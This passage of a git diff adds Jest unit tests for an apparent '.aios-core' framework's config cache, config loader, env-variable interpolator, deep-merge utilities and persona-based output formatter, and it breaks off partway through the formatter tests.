diff --git a/tests/core/config/config-cache.test.js b/tests/core/config/config-cache.test.js
new file mode 100644
index 000000000..88e75e979
--- /dev/null
+++ b/tests/core/config/config-cache.test.js
@@ -0,0 +1,255 @@
+/**
+ * Unit tests for config-cache
+ *
+ * Tests ConfigCache class: TTL expiration, get/set/has, invalidation,
+ * clearExpired, statistics, entries, serialization, and global singleton.
+ */
+
+jest.useFakeTimers();
+
+const { ConfigCache, globalConfigCache } = require('../../../.aios-core/core/config/config-cache');
+
+afterAll(() => {
+ jest.useRealTimers();
+});
+
+describe('config-cache', () => {
+ let cache;
+
+ beforeEach(() => {
+ cache = new ConfigCache(1000); // 1 second TTL for tests
+ });
+
+ describe('constructor', () => {
+ test('uses default TTL of 5 minutes', () => {
+ const defaultCache = new ConfigCache();
+ expect(defaultCache.ttl).toBe(5 * 60 * 1000);
+ });
+
+ test('accepts custom TTL', () => {
+ expect(cache.ttl).toBe(1000);
+ });
+
+ test('initializes empty stats', () => {
+ expect(cache.hits).toBe(0);
+ expect(cache.misses).toBe(0);
+ expect(cache.size).toBe(0);
+ });
+ });
+
+ describe('set and get', () => {
+ test('stores and retrieves a value', () => {
+ cache.set('key1', 'value1');
+ expect(cache.get('key1')).toBe('value1');
+ });
+
+ test('stores objects', () => {
+ const obj = { nested: { data: true } };
+ cache.set('obj', obj);
+ expect(cache.get('obj')).toBe(obj);
+ });
+
+ test('returns null for missing key', () => {
+ expect(cache.get('missing')).toBeNull();
+ });
+
+ test('returns null for expired key', () => {
+ cache.set('key1', 'value1');
+ jest.advanceTimersByTime(1500); // past 1s TTL
+ expect(cache.get('key1')).toBeNull();
+ });
+
+ test('removes expired entry from cache on get', () => {
+ cache.set('key1', 'value1');
+ jest.advanceTimersByTime(1500);
+ cache.get('key1');
+ expect(cache.size).toBe(0);
+ });
+
+ test('overwrites existing key', () => {
+ cache.set('key1', 'v1');
+ cache.set('key1', 'v2');
+ expect(cache.get('key1')).toBe('v2');
+ });
+ });
+
+ describe('has', () => {
+ test('returns true for valid entry', () => {
+ cache.set('key1', 'value1');
+ expect(cache.has('key1')).toBe(true);
+ });
+
+ test('returns false for missing entry', () => {
+ expect(cache.has('missing')).toBe(false);
+ });
+
+ test('returns false for expired entry', () => {
+ cache.set('key1', 'value1');
+ jest.advanceTimersByTime(1500);
+ expect(cache.has('key1')).toBe(false);
+ });
+ });
+
+ describe('invalidate', () => {
+ test('removes specific entry', () => {
+ cache.set('key1', 'v1');
+ cache.set('key2', 'v2');
+ const deleted = cache.invalidate('key1');
+ expect(deleted).toBe(true);
+ expect(cache.get('key1')).toBeNull();
+ expect(cache.get('key2')).toBe('v2');
+ });
+
+ test('returns false for non-existent key', () => {
+ expect(cache.invalidate('missing')).toBe(false);
+ });
+ });
+
+ describe('clear', () => {
+ test('removes all entries and resets stats', () => {
+ cache.set('a', 1);
+ cache.set('b', 2);
+ cache.get('a'); // hit
+ cache.get('missing'); // miss
+ cache.clear();
+ expect(cache.size).toBe(0);
+ expect(cache.hits).toBe(0);
+ expect(cache.misses).toBe(0);
+ });
+ });
+
+ describe('clearExpired', () => {
+ test('removes only expired entries', () => {
+ cache.set('old', 'data');
+ jest.advanceTimersByTime(800);
+ cache.set('new', 'data');
+ jest.advanceTimersByTime(300); // old is 1100ms, new is 300ms
+ const cleared = cache.clearExpired();
+ expect(cleared).toBe(1);
+ expect(cache.get('new')).toBe('data');
+ });
+
+ test('returns 0 when nothing expired', () => {
+ cache.set('fresh', 'data');
+ expect(cache.clearExpired()).toBe(0);
+ });
+
+ test('returns 0 on empty cache', () => {
+ expect(cache.clearExpired()).toBe(0);
+ });
+ });
+
+ describe('size', () => {
+ test('returns number of entries', () => {
+ expect(cache.size).toBe(0);
+ cache.set('a', 1);
+ expect(cache.size).toBe(1);
+ cache.set('b', 2);
+ expect(cache.size).toBe(2);
+ });
+ });
+
+ describe('statistics', () => {
+ test('tracks hits and misses', () => {
+ cache.set('key1', 'v1');
+ cache.get('key1'); // hit
+ cache.get('key1'); // hit
+ cache.get('missing'); // miss
+ expect(cache.hits).toBe(2);
+ expect(cache.misses).toBe(1);
+ });
+
+ test('getStats returns correct statistics', () => {
+ cache.set('key1', 'v1');
+ cache.get('key1'); // hit
+ cache.get('missing'); // miss
+ const stats = cache.getStats();
+ expect(stats.size).toBe(1);
+ expect(stats.hits).toBe(1);
+ expect(stats.misses).toBe(1);
+ expect(stats.total).toBe(2);
+ expect(stats.hitRate).toBe('50.0%');
+ expect(stats.ttl).toBe(1000);
+ expect(stats.ttlMinutes).toBe('0.0');
+ });
+
+ test('getStats returns 0.0% hit rate when no requests', () => {
+ const stats = cache.getStats();
+ expect(stats.hitRate).toBe('0.0%');
+ });
+
+ test('resetStats clears counters but keeps cache', () => {
+ cache.set('key1', 'v1');
+ cache.get('key1');
+ cache.resetStats();
+ expect(cache.hits).toBe(0);
+ expect(cache.misses).toBe(0);
+ expect(cache.get('key1')).toBe('v1');
+ });
+ });
+
+ describe('keys', () => {
+ test('returns array of cache keys', () => {
+ cache.set('a', 1);
+ cache.set('b', 2);
+ expect(cache.keys()).toEqual(['a', 'b']);
+ });
+
+ test('returns empty array for empty cache', () => {
+ expect(cache.keys()).toEqual([]);
+ });
+ });
+
+ describe('entries', () => {
+ test('returns entries with age and expiry info', () => {
+ cache.set('key1', 'value1');
+ jest.advanceTimersByTime(200);
+ const entries = cache.entries();
+ expect(entries).toHaveLength(1);
+ expect(entries[0].key).toBe('key1');
+ expect(entries[0].value).toBe('value1');
+ expect(entries[0].age).toBe(200);
+ expect(entries[0].ageSeconds).toBe('0.2');
+ expect(entries[0].expires).toBe(800);
+ expect(entries[0].expiresSeconds).toBe('0.8');
+ });
+ });
+
+ describe('setTTL', () => {
+ test('updates TTL for future expiration checks', () => {
+ cache.set('key1', 'v1');
+ cache.setTTL(500);
+ jest.advanceTimersByTime(600);
+ expect(cache.get('key1')).toBeNull();
+ });
+ });
+
+ describe('toJSON', () => {
+ test('serializes cache state to JSON string', () => {
+ cache.set('key1', 'v1');
+ cache.get('key1'); // hit
+ const json = cache.toJSON();
+ const parsed = JSON.parse(json);
+ expect(parsed.size).toBe(1);
+ expect(parsed.stats).toBeDefined();
+ expect(parsed.entries).toHaveLength(1);
+ expect(parsed.entries[0].key).toBe('key1');
+ });
+
+ test('produces valid JSON for empty cache', () => {
+ const parsed = JSON.parse(cache.toJSON());
+ expect(parsed.size).toBe(0);
+ expect(parsed.entries).toEqual([]);
+ });
+ });
+
+ describe('globalConfigCache', () => {
+ test('is a ConfigCache instance', () => {
+ expect(globalConfigCache).toBeInstanceOf(ConfigCache);
+ });
+
+ test('has default 5 minute TTL', () => {
+ expect(globalConfigCache.ttl).toBe(5 * 60 * 1000);
+ });
+ });
+});
diff --git a/tests/core/config/config-loader.test.js b/tests/core/config/config-loader.test.js
new file mode 100644
index 000000000..52a9d4c2d
--- /dev/null
+++ b/tests/core/config/config-loader.test.js
@@ -0,0 +1,341 @@
+/**
+ * Unit tests for config-loader module
+ *
+ * Tests the lazy-loading config loader with caching, agent-specific
+ * section loading, performance metrics, and validation.
+ */
+
+const path = require('path');
+
+jest.mock('fs', () => ({
+ promises: {
+ readFile: jest.fn(),
+ },
+}));
+jest.mock('js-yaml');
+
+const fs = require('fs').promises;
+const yaml = require('js-yaml');
+
+const {
+ loadFullConfig,
+ loadConfigSections,
+ loadAgentConfig,
+ loadMinimalConfig,
+ preloadConfig,
+ clearCache,
+ getPerformanceMetrics,
+ validateAgentConfig,
+ getConfigSection,
+ agentRequirements,
+ ALWAYS_LOADED,
+} = require('../../../.aios-core/core/config/config-loader');
+
+describe('config-loader', () => {
+ beforeEach(() => {
+ jest.resetAllMocks();
+ jest.spyOn(console, 'log').mockImplementation(() => {});
+ jest.spyOn(console, 'error').mockImplementation(() => {});
+ // Clear cache between tests
+ clearCache();
+ });
+
+ afterEach(() => {
+ jest.restoreAllMocks();
+ });
+
+ // ============================================================
+ // Constants
+ // ============================================================
+ describe('constants', () => {
+ test('ALWAYS_LOADED contains core sections', () => {
+ expect(ALWAYS_LOADED).toContain('frameworkDocsLocation');
+ expect(ALWAYS_LOADED).toContain('projectDocsLocation');
+ expect(ALWAYS_LOADED).toContain('devLoadAlwaysFiles');
+ expect(ALWAYS_LOADED).toContain('lazyLoading');
+ });
+
+ test('agentRequirements maps known agents', () => {
+ expect(agentRequirements.dev).toBeDefined();
+ expect(agentRequirements.qa).toBeDefined();
+ expect(agentRequirements.po).toBeDefined();
+ expect(agentRequirements.architect).toBeDefined();
+ expect(agentRequirements.devops).toBeDefined();
+ });
+
+ test('all agents have ALWAYS_LOADED sections', () => {
+ for (const [, sections] of Object.entries(agentRequirements)) {
+ for (const required of ALWAYS_LOADED) {
+ expect(sections).toContain(required);
+ }
+ }
+ });
+
+ test('dev agent has specialized sections', () => {
+ expect(agentRequirements.dev).toContain('pvMindContext');
+ expect(agentRequirements.dev).toContain('hybridOpsConfig');
+ });
+ });
+
+ // ============================================================
+ // loadFullConfig
+ // ============================================================
+ describe('loadFullConfig', () => {
+ test('loads and parses YAML config file', async () => {
+ const mockConfig = { frameworkDocsLocation: 'docs/', lazyLoading: true };
+ fs.readFile.mockResolvedValue('yaml content');
+ yaml.load.mockReturnValue(mockConfig);
+
+ const result = await loadFullConfig();
+ expect(result).toEqual(mockConfig);
+ expect(fs.readFile).toHaveBeenCalledWith(
+ path.join('.aios-core', 'core-config.yaml'),
+ 'utf8'
+ );
+ });
+
+ test('throws on file read error', async () => {
+ fs.readFile.mockRejectedValue(new Error('ENOENT'));
+
+ await expect(loadFullConfig()).rejects.toThrow('Config load failed');
+ });
+
+ test('logs error message on failure', async () => {
+ fs.readFile.mockRejectedValue(new Error('ENOENT'));
+
+ try { await loadFullConfig(); } catch {}
+ expect(console.error).toHaveBeenCalled();
+ });
+ });
+
+ // ============================================================
+ // loadConfigSections
+ // ============================================================
+ describe('loadConfigSections', () => {
+ test('loads requested sections from full config', async () => {
+ const mockConfig = {
+ frameworkDocsLocation: 'docs/',
+ lazyLoading: true,
+ toolConfigurations: { lint: true },
+ };
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue(mockConfig);
+
+ const result = await loadConfigSections(['frameworkDocsLocation', 'lazyLoading']);
+ expect(result.frameworkDocsLocation).toBe('docs/');
+ expect(result.lazyLoading).toBe(true);
+ expect(result.toolConfigurations).toBeUndefined();
+ });
+
+ test('ignores non-existent sections', async () => {
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue({ a: 1 });
+
+ const result = await loadConfigSections(['a', 'nonExistent']);
+ expect(result.a).toBe(1);
+ expect(result.nonExistent).toBeUndefined();
+ });
+
+ test('uses cache on second call', async () => {
+ const mockConfig = { a: 1, b: 2 };
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue(mockConfig);
+
+ // First call loads
+ await loadConfigSections(['a']);
+ // Second call should use cache
+ const result = await loadConfigSections(['b']);
+ expect(result.b).toBe(2);
+ // readFile should be called only once (cached)
+ expect(fs.readFile).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ // ============================================================
+ // loadAgentConfig
+ // ============================================================
+ describe('loadAgentConfig', () => {
+ test('loads config for known agent', async () => {
+ const mockConfig = {
+ frameworkDocsLocation: 'docs/',
+ projectDocsLocation: 'pdocs/',
+ devLoadAlwaysFiles: [],
+ lazyLoading: true,
+ toolConfigurations: { lint: true },
+ };
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue(mockConfig);
+
+ const result = await loadAgentConfig('qa');
+ expect(result.frameworkDocsLocation).toBe('docs/');
+ expect(result.toolConfigurations).toEqual({ lint: true });
+ });
+
+ test('falls back to ALWAYS_LOADED for unknown agent', async () => {
+ const mockConfig = {
+ frameworkDocsLocation: 'docs/',
+ projectDocsLocation: 'pdocs/',
+ devLoadAlwaysFiles: [],
+ lazyLoading: true,
+ toolConfigurations: { lint: true },
+ };
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue(mockConfig);
+
+ const result = await loadAgentConfig('unknown-agent');
+ expect(result.frameworkDocsLocation).toBe('docs/');
+ // Unknown agent should NOT get toolConfigurations (not in ALWAYS_LOADED)
+ expect(result.toolConfigurations).toBeUndefined();
+ });
+
+ test('logs loading messages', async () => {
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue({});
+
+ await loadAgentConfig('dev');
+ expect(console.log).toHaveBeenCalledWith(
+ expect.stringContaining('@dev')
+ );
+ });
+ });
+
+ // ============================================================
+ // loadMinimalConfig
+ // ============================================================
+ describe('loadMinimalConfig', () => {
+ test('loads only ALWAYS_LOADED sections', async () => {
+ const mockConfig = {
+ frameworkDocsLocation: 'docs/',
+ projectDocsLocation: 'pdocs/',
+ devLoadAlwaysFiles: ['a.js'],
+ lazyLoading: true,
+ toolConfigurations: { lint: true },
+ pvMindContext: {},
+ };
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue(mockConfig);
+
+ const result = await loadMinimalConfig();
+ expect(result.frameworkDocsLocation).toBe('docs/');
+ expect(result.lazyLoading).toBe(true);
+ // Should NOT include non-ALWAYS_LOADED sections
+ expect(result.toolConfigurations).toBeUndefined();
+ expect(result.pvMindContext).toBeUndefined();
+ });
+ });
+
+ // ============================================================
+ // preloadConfig
+ // ============================================================
+ describe('preloadConfig', () => {
+ test('loads full config into cache', async () => {
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue({ a: 1 });
+
+ await preloadConfig();
+ expect(console.log).toHaveBeenCalledWith(expect.stringContaining('Preloading'));
+ });
+ });
+
+ // ============================================================
+ // clearCache
+ // ============================================================
+ describe('clearCache', () => {
+ test('forces reload on next call', async () => {
+ const mockConfig = { a: 1 };
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue(mockConfig);
+
+ await loadConfigSections(['a']);
+ clearCache();
+ await loadConfigSections(['a']);
+
+ // After clear, readFile should be called again
+ expect(fs.readFile).toHaveBeenCalledTimes(2);
+ });
+ });
+
+ // ============================================================
+ // getPerformanceMetrics
+ // ============================================================
+ describe('getPerformanceMetrics', () => {
+ test('returns metrics object', () => {
+ const metrics = getPerformanceMetrics();
+ expect(metrics).toHaveProperty('loads');
+ expect(metrics).toHaveProperty('cacheHits');
+ expect(metrics).toHaveProperty('cacheMisses');
+ expect(metrics).toHaveProperty('cacheHitRate');
+ expect(metrics).toHaveProperty('avgLoadTimeMs');
+ });
+
+ test('cacheHitRate is a percentage string', () => {
+ const metrics = getPerformanceMetrics();
+ expect(metrics.cacheHitRate).toMatch(/^\d+(\.\d+)?%$/);
+ });
+ });
+
+ // ============================================================
+ // validateAgentConfig
+ // ============================================================
+ describe('validateAgentConfig', () => {
+ test('returns valid when all sections exist', async () => {
+ const mockConfig = {
+ frameworkDocsLocation: 'docs/',
+ projectDocsLocation: 'pdocs/',
+ devLoadAlwaysFiles: [],
+ lazyLoading: true,
+ };
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue(mockConfig);
+
+ const result = await validateAgentConfig('pm');
+ expect(result.valid).toBe(true);
+ expect(result.missingSections).toHaveLength(0);
+ expect(result.agentId).toBe('pm');
+ });
+
+ test('returns invalid when sections are missing', async () => {
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue({});
+
+ const result = await validateAgentConfig('dev');
+ expect(result.valid).toBe(false);
+ expect(result.missingSections.length).toBeGreaterThan(0);
+ });
+
+ test('uses ALWAYS_LOADED for unknown agent', async () => {
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue({
+ frameworkDocsLocation: 'docs/',
+ projectDocsLocation: 'pdocs/',
+ devLoadAlwaysFiles: [],
+ lazyLoading: true,
+ });
+
+ const result = await validateAgentConfig('custom');
+ expect(result.valid).toBe(true);
+ expect(result.requiredSections).toEqual(ALWAYS_LOADED);
+ });
+ });
+
+ // ============================================================
+ // getConfigSection
+ // ============================================================
+ describe('getConfigSection', () => {
+ test('returns specific section', async () => {
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue({ toolConfigurations: { lint: true } });
+
+ const result = await getConfigSection('toolConfigurations');
+ expect(result).toEqual({ lint: true });
+ });
+
+ test('returns undefined for non-existent section', async () => {
+ fs.readFile.mockResolvedValue('yaml');
+ yaml.load.mockReturnValue({});
+
+ const result = await getConfigSection('nonExistent');
+ expect(result).toBeUndefined();
+ });
+ });
+});
diff --git a/tests/core/config/env-interpolator.test.js b/tests/core/config/env-interpolator.test.js
new file mode 100644
index 000000000..49760850a
--- /dev/null
+++ b/tests/core/config/env-interpolator.test.js
@@ -0,0 +1,123 @@
+/**
+ * Unit tests for env-interpolator
+ *
+ * Tests environment variable interpolation: ${VAR}, ${VAR:-default},
+ * recursive object/array walking, linting, and edge cases.
+ */
+
+const { interpolateString, interpolateEnvVars, lintEnvPatterns, ENV_VAR_PATTERN } = require('../../../.aios-core/core/config/env-interpolator');
+
+describe('env-interpolator', () => {
+ const originalEnv = process.env;
+
+ beforeEach(() => {
+ process.env = { ...originalEnv, TEST_VAR: 'hello', DB_HOST: 'localhost' };
+ });
+
+ afterEach(() => {
+ process.env = originalEnv;
+ });
+
+ describe('interpolateString', () => {
+ test('resolves existing env var', () => {
+ expect(interpolateString('${TEST_VAR}')).toBe('hello');
+ });
+
+ test('resolves multiple vars in one string', () => {
+ expect(interpolateString('host=${DB_HOST},val=${TEST_VAR}')).toBe('host=localhost,val=hello');
+ });
+
+ test('uses default when var missing', () => {
+ expect(interpolateString('${MISSING_VAR:-fallback}')).toBe('fallback');
+ });
+
+ test('returns empty string and warns for missing var without default', () => {
+ const warnings = [];
+ const result = interpolateString('${NONEXISTENT}', { warnings });
+ expect(result).toBe('');
+ expect(warnings).toHaveLength(1);
+ expect(warnings[0]).toContain('NONEXISTENT');
+ });
+
+ test('returns string unchanged when no patterns', () => {
+ expect(interpolateString('plain text')).toBe('plain text');
+ });
+
+ test('uses env value over default when var exists', () => {
+ expect(interpolateString('${TEST_VAR:-default}')).toBe('hello');
+ });
+ });
+
+ describe('interpolateEnvVars', () => {
+ test('interpolates nested objects', () => {
+ const config = { db: { host: '${DB_HOST}', port: 5432 } };
+ const result = interpolateEnvVars(config);
+ expect(result.db.host).toBe('localhost');
+ expect(result.db.port).toBe(5432);
+ });
+
+ test('interpolates arrays', () => {
+ const config = ['${TEST_VAR}', 'static'];
+ const result = interpolateEnvVars(config);
+ expect(result[0]).toBe('hello');
+ expect(result[1]).toBe('static');
+ });
+
+ test('passes through non-string scalars', () => {
+ expect(interpolateEnvVars(42)).toBe(42);
+ expect(interpolateEnvVars(true)).toBe(true);
+ expect(interpolateEnvVars(null)).toBe(null);
+ });
+
+ test('handles deeply nested structures', () => {
+ const config = { a: { b: { c: ['${TEST_VAR}'] } } };
+ const result = interpolateEnvVars(config);
+ expect(result.a.b.c[0]).toBe('hello');
+ });
+ });
+
+ describe('lintEnvPatterns', () => {
+ test('detects env patterns in config', () => {
+ const config = { secret: '${API_KEY}' };
+ const findings = lintEnvPatterns(config, 'config.yaml');
+ expect(findings).toHaveLength(1);
+ expect(findings[0]).toContain('API_KEY');
+ expect(findings[0]).toContain('config.yaml');
+ });
+
+ test('detects patterns in nested objects', () => {
+ const config = { db: { password: '${DB_PASS}' } };
+ const findings = lintEnvPatterns(config, 'app.yaml');
+ expect(findings).toHaveLength(1);
+ expect(findings[0]).toContain('db.password');
+ });
+
+ test('detects patterns in arrays', () => {
+ const config = { hosts: ['${HOST_1}', 'static'] };
+ const findings = lintEnvPatterns(config, 'test.yaml');
+ expect(findings).toHaveLength(1);
+ expect(findings[0]).toContain('HOST_1');
+ });
+
+ test('returns empty for config without patterns', () => {
+ const config = { name: 'app', port: 3000 };
+ const findings = lintEnvPatterns(config, 'test.yaml');
+ expect(findings).toHaveLength(0);
+ });
+ });
+
+ describe('ENV_VAR_PATTERN', () => {
+ test('matches simple var', () => {
+ expect('${FOO}'.match(ENV_VAR_PATTERN)).toBeTruthy();
+ });
+
+ test('matches var with default', () => {
+ expect('${FOO:-bar}'.match(ENV_VAR_PATTERN)).toBeTruthy();
+ });
+
+ test('does not match invalid var names', () => {
+ ENV_VAR_PATTERN.lastIndex = 0;
+ expect('${123}'.match(ENV_VAR_PATTERN)).toBeNull();
+ });
+ });
+});
diff --git a/tests/core/config/merge-utils.test.js b/tests/core/config/merge-utils.test.js
new file mode 100644
index 000000000..3391b5fb2
--- /dev/null
+++ b/tests/core/config/merge-utils.test.js
@@ -0,0 +1,126 @@
+/**
+ * Unit tests for merge-utils
+ *
+ * Tests deep merge strategy per ADR-PRO-002: scalars last-wins,
+ * objects deep merge, arrays replace, +append, null delete, isPlainObject.
+ */
+
+const { deepMerge, mergeAll, isPlainObject } = require('../../../.aios-core/core/config/merge-utils');
+
+describe('merge-utils', () => {
+ describe('isPlainObject', () => {
+ test('returns true for plain objects', () => {
+ expect(isPlainObject({})).toBe(true);
+ expect(isPlainObject({ a: 1 })).toBe(true);
+ });
+
+ test('returns true for Object.create(null)', () => {
+ expect(isPlainObject(Object.create(null))).toBe(true);
+ });
+
+ test('returns false for arrays', () => {
+ expect(isPlainObject([])).toBe(false);
+ });
+
+ test('returns false for null', () => {
+ expect(isPlainObject(null)).toBe(false);
+ });
+
+ test('returns false for primitives', () => {
+ expect(isPlainObject('string')).toBe(false);
+ expect(isPlainObject(42)).toBe(false);
+ expect(isPlainObject(true)).toBe(false);
+ expect(isPlainObject(undefined)).toBe(false);
+ });
+
+ test('returns false for class instances', () => {
+ expect(isPlainObject(new Date())).toBe(false);
+ expect(isPlainObject(new Map())).toBe(false);
+ });
+ });
+
+ describe('deepMerge', () => {
+ test('scalars: source overrides target', () => {
+ const result = deepMerge({ a: 1 }, { a: 2 });
+ expect(result.a).toBe(2);
+ });
+
+ test('adds new keys from source', () => {
+ const result = deepMerge({ a: 1 }, { b: 2 });
+ expect(result).toEqual({ a: 1, b: 2 });
+ });
+
+ test('deep merges nested objects', () => {
+ const target = { db: { host: 'localhost', port: 5432 } };
+ const source = { db: { host: 'remote', timeout: 30 } };
+ const result = deepMerge(target, source);
+ expect(result.db).toEqual({ host: 'remote', port: 5432, timeout: 30 });
+ });
+
+ test('arrays: source replaces target', () => {
+ const result = deepMerge({ tags: ['a', 'b'] }, { tags: ['c'] });
+ expect(result.tags).toEqual(['c']);
+ });
+
+ test('+append: concatenates arrays', () => {
+ const result = deepMerge({ items: [1, 2] }, { 'items+append': [3, 4] });
+ expect(result.items).toEqual([1, 2, 3, 4]);
+ });
+
+ test('+append: creates new array when target key missing', () => {
+ const result = deepMerge({}, { 'items+append': [1, 2] });
+ expect(result.items).toEqual([1, 2]);
+ });
+
+ test('null value deletes key', () => {
+ const result = deepMerge({ a: 1, b: 2 }, { a: null });
+ expect(result).toEqual({ b: 2 });
+ expect('a' in result).toBe(false);
+ });
+
+ test('does not mutate inputs', () => {
+ const target = { a: { b: 1 } };
+ const source = { a: { c: 2 } };
+ const result = deepMerge(target, source);
+ expect(target.a).toEqual({ b: 1 });
+ expect(result.a).toEqual({ b: 1, c: 2 });
+ });
+
+ test('returns source when target not plain object', () => {
+ expect(deepMerge('string', { a: 1 })).toEqual({ a: 1 });
+ });
+
+ test('returns target when source is undefined', () => {
+ expect(deepMerge({ a: 1 }, undefined)).toEqual({ a: 1 });
+ });
+ });
+
+ describe('mergeAll', () => {
+ test('merges multiple layers in order', () => {
+ const result = mergeAll(
+ { a: 1, b: 2 },
+ { b: 3, c: 4 },
+ { c: 5 },
+ );
+ expect(result).toEqual({ a: 1, b: 3, c: 5 });
+ });
+
+ test('skips null and non-object layers', () => {
+ const result = mergeAll({ a: 1 }, null, undefined, 'string', { b: 2 });
+ expect(result).toEqual({ a: 1, b: 2 });
+ });
+
+ test('returns empty object when no layers', () => {
+ expect(mergeAll()).toEqual({});
+ });
+
+ test('deep merges across layers', () => {
+ const result = mergeAll(
+ { db: { host: 'localhost' } },
+ { db: { port: 5432 } },
+ { db: { host: 'remote' } },
+ );
+ expect(result.db).toEqual({ host: 'remote', port: 5432 });
+ });
+ });
+});
diff --git a/tests/core/utils/output-formatter.test.js b/tests/core/utils/output-formatter.test.js
new file mode 100644
index 000000000..0aed50ac3
--- /dev/null
+++ b/tests/core/utils/output-formatter.test.js
@@ -0,0 +1,272 @@
+/**
+ * Unit tests for output-formatter
+ *
+ * Tests PersonalizedOutputFormatter class: persona loading, header/status/
+ * output/metrics/signature building, verb conjugation, tone-based messages,
+ * and graceful degradation.
+ */
+
+jest.mock('fs');
+jest.mock('js-yaml');
+
+const fs = require('fs');
+const yaml = require('js-yaml');
+const PersonalizedOutputFormatter = require('../../../.aios-core/core/utils/output-formatter');
+
+describe('output-formatter', () => {
+ const mockAgent = { id: 'dev', name: 'Dex' };
+ const mockTask = { name: 'implement-feature' };
+ const mockResults = {
+ startTime: '2026-01-01T00:00:00Z',
+ endTime: '2026-01-01T00:05:00Z',
+ duration: '5m',
+ tokens: { total: 15000 },
+ success: true,
+ output: 'Feature implemented successfully.',
+ tests: { passed: 10, total: 12 },
+ coverage: '85',
+ linting: { status: '✅ Clean' },
+ };
+
+ beforeEach(() => {
+ jest.resetAllMocks();
+ jest.spyOn(console, 'warn').mockImplementation();
+ jest.spyOn(console, 'error').mockImplementation();
+ // Default: agent file not found -> neutral profile
+ fs.existsSync.mockReturnValue(false);
+ });
+
+ afterEach(() => {
+ console.warn.mockRestore();
+ console.error.mockRestore();
+ });
+
+ describe('constructor and persona loading', () => {
+ test('uses neutral profile when agent file not found', () => {
+ fs.existsSync.mockReturnValue(false);
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.personaProfile.archetype).toBe('Agent');
+ });
+
+ test('uses neutral profile when agent has no id', () => {
+ const formatter = new PersonalizedOutputFormatter({}, mockTask, mockResults);
+ expect(formatter.personaProfile.archetype).toBe('Agent');
+ });
+
+ test('uses neutral profile when agent is null', () => {
+ const formatter = new PersonalizedOutputFormatter(null, mockTask, mockResults);
+ expect(formatter.personaProfile.archetype).toBe('Agent');
+ });
+
+ test('loads persona from agent file YAML block', () => {
+ fs.existsSync.mockReturnValue(true);
+ fs.readFileSync.mockReturnValue('# Agent\n```yaml\npersona_profile:\n archetype: Developer\n```');
+ yaml.load.mockReturnValue({
+ persona_profile: {
+ archetype: 'Developer',
+ communication: {
+ tone: 'pragmatic',
+ vocabulary: ['implementar', 'construir'],
+ },
+ },
+ });
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.personaProfile.archetype).toBe('Developer');
+ });
+
+ test('uses neutral profile when no YAML block in file', () => {
+ fs.existsSync.mockReturnValue(true);
+ fs.readFileSync.mockReturnValue('# Agent without yaml block');
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.personaProfile.archetype).toBe('Agent');
+ });
+
+ test('handles persona loading errors gracefully', () => {
+ fs.existsSync.mockReturnValue(true);
+ fs.readFileSync.mockImplementation(() => { throw new Error('read error'); });
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.personaProfile.archetype).toBe('Agent');
+ });
+
+ test('caches vocabulary when available', () => {
+ fs.existsSync.mockReturnValue(true);
+ fs.readFileSync.mockReturnValue('```yaml\ntest\n```');
+ yaml.load.mockReturnValue({
+ persona_profile: {
+ communication: { vocabulary: ['testar'] },
+ },
+ });
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.vocabularyCache.get('dev')).toEqual(['testar']);
+ });
+ });
+
+ describe('buildFixedHeader', () => {
+ test('includes agent name, task, and timing info', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ const header = formatter.buildFixedHeader();
+ expect(header).toContain('Dex');
+ expect(header).toContain('implement-feature');
+ expect(header).toContain('5m');
+ expect(header).toContain('15,000');
+ });
+
+ test('uses defaults for missing data', () => {
+ const formatter = new PersonalizedOutputFormatter({}, {}, {});
+ const header = formatter.buildFixedHeader();
+ expect(header).toContain('Agent');
+ expect(header).toContain('task');
+ });
+ });
+
+ describe('buildPersonalizedStatus', () => {
+ test('shows success icon when success is true', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ const status = formatter.buildPersonalizedStatus();
+ expect(status).toContain('✅');
+ });
+
+ test('shows failure icon when success is false', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, { success: false });
+ const status = formatter.buildPersonalizedStatus();
+ expect(status).toContain('❌');
+ });
+ });
+
+ describe('buildOutput', () => {
+ test('includes output content from results', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.buildOutput()).toContain('Feature implemented successfully.');
+ });
+
+ test('uses content field as fallback', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, { content: 'alt content' });
+ expect(formatter.buildOutput()).toContain('alt content');
+ });
+
+ test('uses default message when no output', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, {});
+ expect(formatter.buildOutput()).toContain('Task completed successfully');
+ });
+ });
+
+ describe('buildFixedMetrics', () => {
+ test('includes test counts and coverage', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ const metrics = formatter.buildFixedMetrics();
+ expect(metrics).toContain('10/12');
+ expect(metrics).toContain('85%');
+ expect(metrics).toContain('Clean');
+ });
+
+ test('uses defaults when no metrics', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, {});
+ const metrics = formatter.buildFixedMetrics();
